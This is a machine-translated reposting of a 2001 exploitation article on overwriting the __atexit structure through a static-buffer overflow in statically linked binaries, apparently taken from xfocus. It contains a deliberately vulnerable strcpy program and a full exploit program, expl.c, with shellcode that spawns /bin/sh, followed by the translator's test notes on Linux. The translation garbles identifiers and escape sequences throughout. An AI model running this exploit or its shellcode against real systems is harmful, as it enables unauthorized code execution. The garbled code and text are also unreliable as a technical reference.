[Principle] buffer overflow attacks by overwriting _ atexit

Source: Internet
Author: User
Tags glob
Buffer overflow attacks by overwriting _ atexit

Created on:
Article attributes: Translation
Source: http://www.xfocus.org/
Article submission: alert7 (sztcww_at_sina.com)

Buffer overflow attacks by overwriting _ atexit
-- Heap overflow of the static compilation version

Original Author: Pascal bouchareine <pb@hert.org>
Original article: <__atexit in memory bugs-
Specific proof of concept with statically linked binaries and heap overflows>
Alert7 alert7@21cn.com
Home: http://www.xfocus.org/
Time: 2001-7-19

Note: This article may have been published very early. I don't know anyone in China.
Translate and share them together. If you have any mistakes, please correct them.
Mailto: alert7@21cn.com

Introduction:
This article discusses techniques similar to buffer overflow attacks by overwriting. dtors. In the final analysis
Is trying to change the execution process of the program so that it can finally execute the code we want to execute. This article
Assume that the reader is familiar with common Buffer Overflow technology.

Thanks:
Thanks to Andrew R. REITER for reading this document and correcting some mistakes.

Content:

I. Basic knowledge of atexit ()
Ii. Execution of atexit ()
Iii. Concept of exploitation
Iv. Location of eggshell
V. An exploit example

I. atexit () Basic knowledge

Let's take a look at the manual:

Name
Atexit-register a function called at exit

Synopsis
# Include <stdlib. h>

Int
Atexit (void (* function) (void ))

Description
The atexit () function registers a given function, which is called at the exit of the program.
(Whether it is returned through exit (3) or through the main function of the program ).
The registered function is called in reverse order; there is no parameter. At least 32 functions can always be registered
As long as there is fully allocated memory, more functions are allowed.

Take a look at the basic commands of the following program:

Char * glob;

Void test (void)
{
Printf ("% s", glob );
}

Void main (void)
{
Atexit (test );
Glob = "exiting./N ";
}
When executed, "exiting" should be displayed on the standard output ".

Ii. Execution of atexit ()

Atexit is exported as a libc function.
The execution process uses a static atexit structure that contains
An array of called functions. When the atexit function is called, a structure is inserted (
It is called "FNS"), and a variable in FNS stores the next null index (we call it
It is "IND"). When FNS is full, a pointer (called next) points to the next
The used atexit structure.

Struct atexit {
Struct atexit * Next;/* Next in list */
Int ind;/* Next index in this table */
Void (* FNS [atexit_size]) ();/* The table itself */
};

When atexit () is called, it fills in FNS [ind] and adds Ind. In this case, IND is the next hollow index in FNS.
When FNS is full, a new atexit structure is allocated, and its next variable points to the last
Used.

Note: Generally, next is not required for atexit. It is set
Null.

When exit () is called, it analyzes the finally defined atexit structure and runs in FNS [ind]
Function, reduce ind, and execute in sequence.

When exit () is called, you need to check some exit functions. However, atexit () needs to write it,
The atexit structure is assigned as a global symbol (on * BDS, It is _ atexit, on Linux
Is _ exit_funcs) and exported to other functions.

Note: If you read this article for the first time, you may ignore atexit () and _ atexit
(On * BDS, It is _ atexit, and on Linux it is _ exit_funcs.
_ Atexit is an internal variable used by the atexit function. The following figure shows
It shows how atexit () uses _ atexit.

Iii. Concept of exploitation

This part is not very accurate. It depends on the memory image during execution and depends on your OS.
Other factors.

First, we need to know the allocated address of _ atexit in the memory and determine which address can be rewritten. So I
I wrote a simple example.

Extern void * _ atexit;

Int main (void)
{
Static char scbuf [128];
Char * mabuf;

Mabuf = (char *) malloc (128 );

Printf ("_ atexit at % P/N", _ atexit );
Printf ("malloced at % P/N", mabuf );
Printf ("static at % P/N", scbuf );
Return 0;
}

After compilation, the following results are displayed:

PB @ nod [405] $ gcc-O at. c
PB @ node [406] $./
_ Atexit at 0x280e46a0
Malloced at 0x804b000
Static at 0x8049660

PB @ nod [407] $ gcc-O at-static at. c
PB @ node [408] $./
_ Atexit at 0x8052ea0
Malloced at 0x8055000
Static at 0x8052e20


The above is enough to explain the problem, but you already know that the dynamic compilation version uses
MMAP () is called to load libc library functions. (0x280e46a0) it seems that we cannot modify
But the static version is okay.

In a statically compiled binary, libc is saved in the heap area of the program, so the location of __atexit
It's near our static scbuf. In this example, the difference between __atexit and scbuf is 0x80 bytes.
It means they are in continuous positions. If you understand heap overflow, it should not be difficult to construct it.
Events.

Construct your own atexit structure after the static character buffer to overwrite the _ atexit variable.
Exit () is executed anywhere in the memory. For example, execute our eggshell. To construct it, I
You need to understand how atexit () uses the _ atexit variable. See the output similar to GDB below:

0 127 128 132 136 140
(An eggshell with NOPs) (Next) (IND) (FNS [0]) (FNS [1])
0x90909090... 0x00000000 0x00000001 0xbffff870 0x00000000

For (P = _ atexit; P = p-> next)
For (n = p-> ind; -- N> = 0 ;)
(* P-> FNS [N]) ();

In the first method, you can set 'ind 'to a positive value. For example, the above figure sets IND to 1 and FNS [0]
The address of the eggshell, but the constructed atexit structure contains '/0 '. Me
There is no way to use it.

The second method is to point P-> next to the memory of an elaborate atexit structure.
We only need to make ind negative, regardless of the FNS array.

But how can we find the space?

Iv. Location of eggshell

I want to cook one or two glasses of beer for it.

I read the execue manual and execve Execution Process in the kernel, reminding me of the first one I wrote.
C language program. We know that argc is the number of parameters, and argv is an array ending with null.
(Contains a string ending with null). envp is an environment variable. A program being executed
It is easy to obtain this information.
Therefore, at the top of the stack, a "vector table" contains the information, including some
Others (such as the signal mask ). Let's take a look at the storage of argv on the stack:

0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84
0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000

In this example, argc is 5. Five Pointers point to five argv elements. The last one ends with null.

What I saw above reminds you of the atexit structure? :)


This figure perfectly depicts the structure of atexit! IND = 5, argv [4] is the address of the called function. All
The work is ready, but it is almost done. We only need to guess
The correct address is enough. Fill in the address in _ atexit-> next, and fill in the negative address in _ atexit-> ind,
So everything is OK.

Guess that the address of argv [] depends on your OS. I have read/sys/Kern/kern_exec.c,
Read this function:

/*
* Copy strings out to the new process address space, constructing
* New Arg and env vector tables. Return a pointer to the base
* So that it can be used as the initial Stack pointer.
*/
Register_t *
Exec_copyout_strings (imgp)


This function explains how to calculate the vector table address of argv. Your calculation is based on the address ps_string
(The base address of the stack, the ps_string size of the less structure), the size of the signal mask, "spare_userspace"
This variable is defined on my FreeBSD 256 (this variable may be used by the setproctitle () function), and some
Other complicated things.

To use portable computing methods, I used the following self-called method to execute argv [].
First, if you want to use a problematic program, you need to prepare all the conditions. However
Special parameters are called by yourself. In the second call, argv should be correctly located and then called
Use a problematic program.

With these two technologies, I think you should have an efficient Buffer Overflow method, instead of needing
Offset is calculated.

Note: The two execve techniques are very good. The address of argv for the two execve processes is
Same. So you don't need to guess the argv address.

Note: This technology sounds powerful for the format bug. _ Atexit in Exploit
It is often located at the same address of victim. I guess this is because the MMAP () allocation address starts from a fixed address.
Like a traditional format bug, you have the following string "AAAA % N $ X % 0xx % N". Here AAAA is
In your exploit _ atexit address, n is the number of bytes from the rewrite address to the stack. X is argv []
.

[Post note: in fact, these are already well known and mentioned in the phrack magazine]

Similarly, for Exploit with buffer overflow, you have an easy-to-get fixed return address: Call yourself.
-- Egg should be placed in the Environment Variable-and then call the victim egg address.

V. An exploit example

Take the following vulnerable program:

Extern void * _ atexit;

Int main (INT argc, char ** argv)
{
Static char scbuf [128];
Char * mabuf;

Mabuf = (char *) malloc (128 );

Printf ("_ atexit at % P/N", _ atexit );
Printf ("malloced at % P/N", mabuf );
Printf ("static at % P/N", scbuf );

If (argc> 1)
Strcpy (scbuf, argv [1]);
}

The size of scbuf [] is 128. We need the string below craft:

Offset 0 128 132 136
[Xxxxxxxxxxxx...] [AAAA] [BBBB] [0...]

128 bytes of X garbage, AAAA is the guess argv address, BBBB is a negative number
(0xffffffff), and then the last byte is set to 0.

We must pass eggshell as the last parameter to the problematic program.

If the program has a strict check, it will be very difficult for us to discuss things. We are not here
To discuss this, we will be interested in further research in the future.

Using the problematic program, the following exploit will generate a shell:

--- Expl. c --------------- 8 <(lazy indenting this .-------------

# Include <stdio. h>

# Define prog "./vul"
# Define heap_len 128

Int main (INT argc, char ** argv)
{
Char ** env;
Char ** ARG;
Char heap_buf [150];

Char eggshell [] =/* Mudge's */
"/Xeb/x35/x5e/x59/x33/xc0/x89/X46/xf5/x83/xc8/x07/x66/x89/X46/xf9"
"/X8d/x1e/x89/x5e/x0b/x33/xd2/X52/x89/x56/x07/x89/x56/x0f/x8d/X46"
"/X0b/x50/x8d/x06/x50/xb8/x7b/x56/x34/X12/x35/X40/x56/x34/X12/x51"
"/X9a/xe8/xc6/xFF/bin/sh ";

/* Craft the first part of the chain, pointing to argv [].
** We need, of course, a negative value for IND, or the real
** Atexit default will be called.
*/

Memset (heap_buf, 'A', heap_len );
* (Int *) (heap_buf + heap_len) = (INT) argv-(2 * sizeof (INT ));
/* To construct the atexit structure */

* (Int *) (heap_buf + heap_len + 4) = (INT) 0 xffffffff;
* (Int *) (heap_buf + heap_len + 8) = (INT) 0;

/*
** Build environnement. argv [argc-1] is set to whatever
** Eggshell you want. This, in a struct atexit context,
** Will be executed by exit.
*/

ENV = (char **) malloc (sizeof (char *));
Env [0] = 0;

Arg = (char **) malloc (sizeof (char *) * 4 );
Arg [0] = (char *) malloc (strlen (Prog) + 1 );
Arg [1] = (char *) malloc (strlen (heap_buf) + 1 );
Arg [2] = (char *) malloc (strlen (Eggshell) + 1 );
Arg [3] = 0;

Strcpy (ARG [0], prog );
Strcpy (ARG [1], heap_buf );
Strcpy (ARG [2], eggshell );

If (argc> 1 ){
Fprintf (stderr, "using argv % x/N", argv );
Execve ("./vul", ARG, ENV );
} Else {
Execve (argv [0], ARG, ENV );
}
}

-------- Expl. C (EOF )------------------------------------------

This is the end of the author's article, which was tested on FreeBSD.
The following is my test on Red Hat 6.0:
[Alert7 @ WW alert7] $ uname-
Linux ww. alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown
[Alert7 @ WW alert7] $ cat vul. c
# Include <stdlib. h>
Extern void * _ exit_funcs;

Int main (INT argc, char ** argv)
{
Static char scbuf [128];
Char * mabuf;
Mabuf = (char *) malloc (128 );
Printf ("_ exit_funcs at % P/N", _ exit_funcs );
Printf ("malloced at % P/N", mabuf );
Printf ("static at % P/N", scbuf );
Printf ("mabuf at % P/N", & mabuf );
If (argc> 1)
Strcpy (scbuf, argv [1]);
}

[Alert7 @ WW alert7] $ gcc-O vul. C-static-G
[Alert7 @ WW alert7] $./Vul
_ Exit_funcs at 0x80778c0
Malloced at 0x8079b60
Static at 0x8078e40
Mabuf at 0xbffffdc0

[Alert7 @ WW 3779] $ cat maps
08048000-08077000 R-XP 00000000 0:01 14361/home/alert7/Vul
08077000-08079000 RW-P 0002e000 0:01 14361/home/alert7/Vul
08079000-0807a000 rwxp 00000000 0
40000000-40002000 RW-P 00000000 0
Bffff000-c0000000 rwxp 00000000 0

On Linux, we can see that the _ exit_funcs address is 0x80778c0, which can be written. Static definition of scbuf
The address is 0x8078e40 ,__ exit_funcs before scbuf, so we want to use scbuf to overwrite
The _ exit_funcs address seems impossible. So we will discuss using _ atexit in Linux.
The buffer overflow attack is meaningless.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.